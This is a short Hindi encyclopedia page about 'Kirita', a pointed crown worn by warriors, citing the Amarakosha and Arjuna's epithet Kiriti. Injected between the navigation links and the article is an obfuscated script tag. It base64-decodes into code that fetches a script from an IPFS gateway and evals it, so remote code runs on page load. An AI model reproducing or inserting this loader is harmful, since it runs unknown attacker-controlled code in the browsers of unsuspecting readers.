किरीट
Bharatkhoj (चर्चा | योगदान) द्वारा परिवर्तित ०५:४५, २५ जुलाई २०१८ का अवतरण
गणराज्य | इतिहास | पर्यटन | भूगोल | विज्ञान | कला | साहित्य | धर्म | संस्कृति | शब्दावली | विश्वकोश | भारतकोश |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
चित्र:Tranfer-icon.png | यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें |
- किरीट एक प्रकार का मुकुट या मुकुट के रूप में धारण किया जाने-वाला अलंकार-मंडन चाथ मुकुटं किरीटं पुंनपुंसकम्- अमरकोश [१]।
- शोभा, विजय या राज्यश्री के चिह्नस्वरूप माथे पर बाँधे जानवाले आलंकारिक उपकरण तीन प्रकार के कहे गए हैं-मुकुट, अर्धचंद्र के आकार का; किरीट, नुकीला या एक शिखरवाला और माल, तीन शिखरोवाला। जान पड़ता है, किरीट का प्रयोग युद्ध के लिए सुसज्जित वीर ही अधिकतर करते थे।
- सुंदर एवं देदीप्यमान किरीट को धारण करने के कारण अर्जुन का एक नाम किरीटी हो गया था। मूतियों में किरीटमुकुट के अनेक रूप उपलब्ध हैं।
टीका टिप्पणी और संदर्भ
- ↑ अमरकोश 2,102